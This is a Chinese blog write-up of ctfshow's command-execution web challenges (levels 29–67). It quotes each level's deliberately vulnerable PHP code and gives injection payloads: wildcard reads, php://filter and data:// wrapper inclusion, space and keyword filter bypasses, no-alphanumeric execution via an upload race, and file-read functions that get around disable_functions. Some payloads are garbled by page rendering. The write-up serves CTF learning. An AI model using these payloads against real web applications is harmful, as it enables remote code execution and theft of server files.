ctfshow命令执行

最新推荐文章于 2024-06-10 18:21:24 发布
最新推荐文章于 2024-06-10 18:21:24 发布
阅读量1.2k 收藏 4
点赞数
分类专栏： 安全学习 # web
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_45951598/article/details/113716712
版权

文章目录


做题前先看看
命令执行小技巧
命令执行绕过总结

WEB29-通配符


error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

方法一：
模糊搜索
payload：?c=system(‘cat f*’);
解法二：
在这里插入图片描述
了解 eval函数之后

传入
c=echo “npfs”;?>ctf <?php system(‘ls’);
可以看到有 flag.php文件,之后采用include进行包含读取
payload：

?c=echo “npfs”; ?>ctf <?php include($_GET[‘url’]);&url=php://filter/read=convert.base64-encode/resource=flag.php

WEB30-通配符

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

解法一：

pyaload: ?c=echo cat f*;
pyaload: ?c=echo nl f*;

类似cat的还有:

more,less,nl,tail

解法二：

payload：
?c=echo "npfs "; include($_GET[‘url’]); ?>&url=php://filter/read=convert.base64-encode/resource=flag.php

WEB31-空格绕过

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

本题过滤了flag,sytem,php,cat,sort shell,.,空格,’

当cat被过滤后可以使用以下命令替代

(1)more:一页一页的显示档案内容
(2)less:与 more 类似，但是比 more 更好的是，他可以[pg dn][pg up]翻页
(3)head:查看头几行
(4)tac:从最后一行开始显示，可以看出 tac 是 cat 的反向显示
(5)tail:查看尾几行
(6)nl：显示的时候，顺便输出行号
(7)od:以二进制的方式读取档案内容
(8)vi:一种编辑器，这个也可以查看
(9)vim:一种编辑器，这个也可以查看
(10)sort:可以查看
(11)uniq:可以查看
(12)file -f:报错出具体内容
(13)sed:一种编辑器，这个也可以查看

当空格被过滤后可以使用以下命令替代
%09(tab)、$IFS$9、 I F S 、 {IFS}、 IFS、IFS%09(tab)、< 、<>、%20(space)
payload：

?c=echonl%09f*;

web32-包含post，伪协议绕过

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
        eval($c);
    }  
}else{
    highlight_file(__FILE__);
}

在前面基础上又过滤了括号

使用include"$_POST[1]"?加上post传递参数利用伪协议实现绕过

paylaod

?c=include"$_POST[1]"?>
1=php://filter/read=convert.base64-encode/resource=flag.php
1
2
当然使用GET传参也能得到相同效果

payload

?c=include$_GET[“a”]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
1
传递后得到一串base64编码，解码后得到flag

flag：flag{cc9b544f-8f19-48b6-b867-b9837304f780}

WEB33-空格绕过

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

这题在前面的基础上增加了空格,双引号的过滤。
pyaload:

?c=include%09$GET[]?>&_=php://filter/read=convert.base64-encode/resource=flag.php

WEB34-同上

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

多过滤了:
和上个payload一样。

WEB35-等号过滤

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

多过滤了等号
payload：

?c=include%09$GET[]?>&_=php://filter/read=convert.base64-encode/resource=flag.php

WEB36-过滤数字

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

这里多过滤了0到九
payload：

?c=include%09$GET[]?>&_=php://filter/read=convert.base64-encode/resource=flag.php

WEB37-data伪协议

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c);
        echo $flag;
    }      
}else{
    highlight_file(__FILE__);
}

这里已经给出了include，直接伪协议。(注意要用双引号，因为题目用单引号)
payload:

data:text/plain,<?php system("cat f*")?>

WEB38-data base64绕过

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|php|file/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
}

增加了php的过滤
payload：

?c=data://text,plain,baser64,PD9waHAgc3lzdGVtKCJjYXQgZioiKTs/Pg==

web39-data伪协议

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c.".php");
    }
        
}else{
    highlight_file(__FILE__);
}

这里多了一个.php
然后我们直接用伪协议

payload:data:text/plain,<?php system('cat f*')?>

data://text/plain, 这样就相当于执行了php语句 .php 因为前面的php语句已经闭合了，所以后面的.php会被当成html页面直接显示在页面上，起不到什么 作用

web40-无参数构造


if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\（|\）|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
        eval($c);
    }
        
}else{
    highlight_file(__FILE__);
}

基本上数字和必要的符号都被过滤了。
这里可以构造无参数函数进行文件读取。
无参数文件读取.
payload：

?c=show_source(next(array_reverse(scandir(current(localeconv())))));

c=session_start();system(session_id());
passid=ls

web55-无字母数字的命令执行

源代码

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 20:03:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

// 你们在炫技吗？
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

这里就不细说了，因为这里我直接裂开，看大佬博客就好了。
无字母数字的命令执行
p神之无字母数字webshell之提高篇
大概思路是这样的,我们可以通过post一个文件(文件里面的sh命令)，在上传的过程中，通过.(点)去执行执行这个文件。(形成了条件竞争)。一般来说这个文件在linux下面保存在/tmp/php???一般后面的6个字符是随机生成的有大小写。（可以通过linux的匹配符去匹配）
注意：通过.去执行sh命令不需要有执行权限

在这里插入图片描述

开搞
先自己搭建一个文件上传的网页。

<!DOCTYPE html>
<html lang="en">
<head>
	<meta charset="UTF-8">
	<title>Document</title>
</head>
<body>
	<form action="http://23bd2220-6d66-4e32-9d88-cd4840491840.challenge.ctf.show:8080/" method="post" enctype="multipart/form-data">
	<label for="file">文件名:</label>
	<input type="file" name="file" id="file"><br>
	<input type="submit" name="submit" value="提交">

	</form>
</body>
</html>

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

web56-无字母数字的命令执行

同上，但是需要注意的是多上传几次，如果没有出现的话。

web57-字符异或拼数字

还是过滤了数字和字母，不仅如此，还过滤了|.|,|?|*|-|=|[意味着刚刚那题的方法以及不适应了，因为glob通配符给ban了

// 还能炫的动吗？
//flag in 36.php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
        system("cat ".$c.".php");
    }
}else{
    highlight_file(__FILE__);
}

文章有提示，flag在36.php//flag in 36.php，所以可以想办法凑出一个36来
可以用这种操作$(())，shell中各种括号()、(())、[]、[[]]、{}的作用和区别
~在$(())中的意思是按位取反，当我再里面凑到-37的时候再取一个反就得到了36

这里我们可以通过一个小例子:

echo $(())
在这里插入图片描述
echo ( (   ((~ (( (())))
在这里插入图片描述
echo ( ( (( (((($(())))$(($(())))))
在这里插入图片描述
echo $((~-37))
在这里插入图片描述

通过上面的例子我们思路就清晰了挺多，意思就是通过-1构造出-37在取反，因为前面我们构造出来了-1，我们只需要构造37个再取反就可以了
( ( ) ) 是 0 ， (()) 是0， (())是0，((~$(())))就是0取反是-1

( ( (( (((($(())))$(($(()))))) 也就是(-1-1) 等于-2
在这里插入图片描述

所以就堆37个 ( (   ((~ (( (())))
在这里插入图片描述
再取个反
在这里插入图片描述

web58-绕过disable_functions

源代码

// 你们在炫技吗？
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

在这里插入图片描述
这里我们输入ls会报错
在这里插入图片描述
这里猜测是phpini开启了disable_functions这个函数
disable_functions:

PHP 的 disabled_functions主要是用于禁用一些危险的函数防止被一些攻击者利用

然后因为我也是刚刚了解这个函数，所以我们这里参考y4和羽师傅的博客
y4
yu师傅
首先要获取文件路径，在这里我们可以用两种方式:

pyload：c=print_r(scandir(dirname(’__FILE__’)));
payload：c=$a=new DirectoryIterator(‘glob:///*’);foreach($a as $f){echo($f->__toString()." ");}

因为没有任何过滤我们便可以读取任意的文件

c=$a=opendir("./"); while (($file = readdir($a)) !== false){echo $file . “
”; };

单一函数读文件内容：
函数：
file_get_contents()
readfile()
file()
用法：
echo file_get_contents("flag.php");           //过58
readfile("flag.php");                         //过58
print_r(file("flag.php"));                    //过59

通过fopen读文件内容：
函数：
fread()
fgets()
fgetc()
fgetss()
fgetcsv()
gpassthru()
用法：
$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetss($a);echo $line;}       //php7.3版本后 该函数已不再被使用
$a=fopen("flag.php","r");echo fpassthru($a);                                      //过59
$a=fopen("flag.php","r");echo fread($a,"1000");                                   //过59
$a=fopen("flag.php","r");while (!feof($a)) {$line = fgets($a);echo $line;}        //过59
$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetc($a);echo $line;}        //过60
$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetcsv($a);print_r($line);}  //过60

通过高亮显示文件

//通过高亮显示php文件
show_source("flag.php");             
highlight_file("flag.php");

这里上面这么多payload随便用一个
在这里插入图片描述
在这里插入图片描述

web59

首先查找flag文件的地址c=print_r(scandir(’./’));找到在当前目录下

//paylaod汇总
c=highlight_file("flag.php");
c=var_dump(file("flag.php")); 
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgets($a);echo $line;}
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetc($a);echo $line;}
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetcsv($a);print_r($line);}
c=$a=fopen("flag.php","r");echo fread($a,"1000");
c=$a=fopen("flag.php","r");echo fpassthru($a);

web60

//payload汇总
c=highlight_file("flag.php");
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetc($a);echo $line;}
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetcsv($a);print_r($line);}

同时记录一个,但是这道题不能用
$a=fopen(“flag.php”,“r”);while (!feof($a)) {$line = fgetss($a);echo $line;} //php7.3版本后 该函数已不再被使用
还有新姿势

//通过复制，重命名读取php文件内容（函数执行后，访问url/flag.txt）
copy()
rename()
//用法：
copy("flag.php","flag.txt");             //过60
rename("flag.php","flag.txt");           //过60

web61-65

为了熟悉学习新姿势c= a = o p e n d i r ( ′ . / ′ ) ; w h i l e ( ( a=opendir('./');while(( a=opendir(′./′);while((file = readdir($a)) !=false){echo $file." ";}或者c=print_r(scandir(current(localeconv())));

//payload:
c=show_source('flag.php');
c=highlight_file('flag.php');
c=highlight_file(next(array_reverse(scandir(current(localeconv())))));

web66-67

扫描目录c=var_dump(scandir("/"));,发现是flag.txt

//下面是payload
c=include('/flag.txt');
c=require('/flag.txt');
c=require_once('/flag.txt');
c=highlight_file('/flag.txt');
multi4
关注
  • 0
    点赞
  • 踩
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
ctfshow web139命令盲注脚本
10-21
ctfshow靶场 web入门 web139 命令盲注脚本
ctfshow web214 时间盲注标准脚本
10-21
ctfshow web214 时间盲注标准脚本
PHP文件包含漏洞
Jim的博客
08-17 1295
PHP的文件包含可以直接执行包含文件的代码，包含的文件格式是不受限制的。 文件包含分为本地文本包含（local file include）和远程文件包含（remote file include） 文件包含函数有：include(),include_once(),require()和require_once() 1.本地文件包含是指只能包含本机文件的包含漏洞，大多出现在模块加载，模板加载和ca
文件包含漏洞(include)-学习笔记
小龙在线
08-21 5776
简介 服务器执行PHP文件时，可以通过文件包含函数加载另一个文件中的PHP代码，并且当PHP来执行，这会为开发者节省大量的时间。这意味着您可以创建供所有网页引用的标准页眉或菜单文件。当页眉需要更新时，您只更新一个包含文件就可以了，或者当您向网站添加一张新页面时，仅仅需要修改一下菜单文件（而不是更新所有网页中的链接）。 PHP Stream（流） 属性 支持 受限于 allow_url_fopen NO 受限于allow_url_include 仅 php://input、 php://s
ctfshow-web入门-命令执行（web53-web55）
最新发布
Welcome To Myon'Blog !
06-10 1175
这里的代码有点不一样，说一下这两种的区别：（1）直接执行 system($c);这种方式会直接执行命令 $c 并将命令的输出直接发送到标准输出（通常是浏览器）；不会返回命令的输出值，因此不能对输出结果进行进一步处理。（2）使用一个参数来接受 system 的返回值后再输出它这种方式不仅会执行命令 $c，而且会将命令的最后一行输出结果赋值给变量 $d；然后通过 echo "".$d;将变量 $d 的内容输出到标准输出；
PHP文件包含漏洞总结
坚持硬核
10-07 3349
首先，我们学习两个函数：require(string) include(string)这两个函数的作用是相同的， 就是将一个文件的内容包含在其所在的php代码中。 例如：我们写了一个1.txt文件放在服务器上，其内容为：<?php phpinfo()?> 当我们去请求这个页面的时候，自然而然，页面会原封不动的将这句话显示出来，那么有什么骚姿势可以让这句话作为php代码被解析呢？ 嘿...
CTFshow WEB web3
Y1da的博客
04-19 396
CTFshow WEB web3 进入环境，题目提示存在文件包含漏洞 <?php include($_GET['url']);?> 使用PHP伪协议 ?url=data://text/plain,<?php% system('ls');?> ctf_go_go_go index.php ?url=php://filter/convert.base64-encode/resource=ctf_go_go_go Y3Rmc2hvd3swNjNmNWZkYS0wZmU3L
CTFshow的Web题目wp（持续更新）
苦行僧的妖孽日常
08-15 557
CTFshow的Web题目wp（持续更新）
CTFSHOW web183 正则爆破脚本
10-21
CTFSHOW web183 正则爆破脚本
ctfshow web185 正则爆破脚本
10-21
ctfshow web185 正则爆破脚本，以true拼接形成数字，实现ascii代替数字、字母和特殊符号
ctfshow web240 insert 爆破表名
10-21
ctfshow web240 insert 爆破表名
CTFSHOW-命令执行
Monica的博客
09-03 4124
WEB29 题目： <?php error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); } 分析：题目过滤了flag且忽略大小写 知识点：linux通配符 * 匹配任何字符串／文本，包括空字符串；*代表任意字符..
CTFSHOW web第三关--文件包含和php伪代码
weixin_46915877的博客
05-07 239
其中常用的是PHP伪协议。简单理解这个伪协议，是由两部分构成：1.php://input 2.post的主体数据。通过1把我们的2当做php代码执行。接下来我们来试试看。提示很明显，源码直接告诉我们是一个文件包含漏洞。结果很明显，我们来看下ctf...这个url。然后修改下~这里要注意，主体部分要和请求头分开一行！
php 跳转到指定url_URL跳转漏洞
weixin_39929096的博客
12-04 1097
描述URL 跳转漏洞：攻击者通过传入的URL参数，网站未进行检查或过滤不严，导致跳转到恶意网站挖掘常见漏洞位置用户注册、登录、退出网站链接、点击跳转用户分享、收藏内容过后、会跳转网站报错返回跳转......常见参数redirectredirect_toredirect_urlurljumpjump_totargettolinklinktodomainOutDoutgoreturnretu...
ctfshow web入门 命令执行29-32
ts6666a的博客
02-05 586
web29 <?php error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); } preg_match 函数用于执行一个正则表达式匹配。/i意味着不分大小写。本句含义是不能用flag值且忽略了大小写。说明对flag进行
[CTF_网络安全] 攻防世界 Web_php_include 解题详析(php伪协议、data伪协议、file伪协议)
2401_84208172的博客
05-24 1394
[CTF_网络安全] 攻防世界 Web_php_include 解题详析(php伪协议、data伪协议、file伪协议)，该题考察文件包含漏洞，涉及PHP伪协议data伪协议file伪协议及PHP内置函数等知识点，希望读者躬身实践。黑客&网络安全如何学习。
ctf.show_web4
Kobalos的博客
12-15 2713
查看题目 发现题目要求get请求传输一个url参数，并且看到了include，估计需要使用伪协议进行包含，进行尝试 http://28d722fe-b9a5-4ab9-887f-d07990104493.challenge.ctf.show/?url=php://input 发现报错error，继续尝试其他协议发现都显示error 尝试直接在后面加文件 http://28d722fe-b9a5-4ab9-887f-d07990104493.challenge.ctf.show/?url=/etc/pa
小白刷题CTF show web方向(2)，2024年最新2024年网络安全社招面试题
2401_84239830的博客
04-11 736
Python编程学习，学习内容包含：语法、正则、文件、 网络、多线程等常用库，推荐《Python核心编程》，不要看完；在实际的渗透测试过程中，面对复杂多变的网络环境，当常用工具不能满足实际需求的时候，往往需要对现有工具进行扩展，或者编写符合我们要求的工具、自动化脚本，这个时候就需要具备一定的编程能力。恭喜你，如果学到这里，你基本可以从事一份网络安全相关的工作，比如渗透测试、Web 渗透、安全服务、安全分析等岗位；③漏洞扫描、漏洞利用、原理，利用方法、工具（MSF）、绕过IDS和反病毒侦察。
ctfshow web入门命令执行
09-05
在CTF中，web入门命令执行指的是通过Web应用程序的漏洞，将恶意的命令注入到应用程序中并执行。这样的攻击可以导致未经授权的访问和操纵应用程序的数据和功能。 根据引用中提供的信息，可以看到一些常见的双写绕过技巧，如分号、竖线、双与号等。这些技巧可以用来绕过应用程序对输入参数的限制，从而注入恶意的命令。 引用中提到的payload，其中使用了一个通用的命令执行函数"show_source"来显示指定文件的源代码。这个payload可以用来尝试执行"flag.php"文件的源代码。但前提是要知道有一个名为"flag.php"的文件存在。 另外，引用中提供了另一种payload的示例，其中使用了array_reverse和scandir函数来获取文件目录并显示指定文件的源代码。同样，也可以直接使用show_source('flag.php')来显示"flag.php"文件的源代码。 需要注意的是，命令执行漏洞是非常危险的，因为它可以导致恶意用户执行任意的系统命令。为了保护Web应用程序免受此类攻击，开发人员应该对用户的输入进行严格的验证和过滤，并使用安全的编程实践来防止命令注入漏洞的发生。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *3* [ctfshow web入门之命令执行](https://blog.csdn.net/uuzfumo/article/details/128357863)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] - *2* [CTFShow Web入门 命令执行](https://blog.csdn.net/qq_19533763/article/details/123910732)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值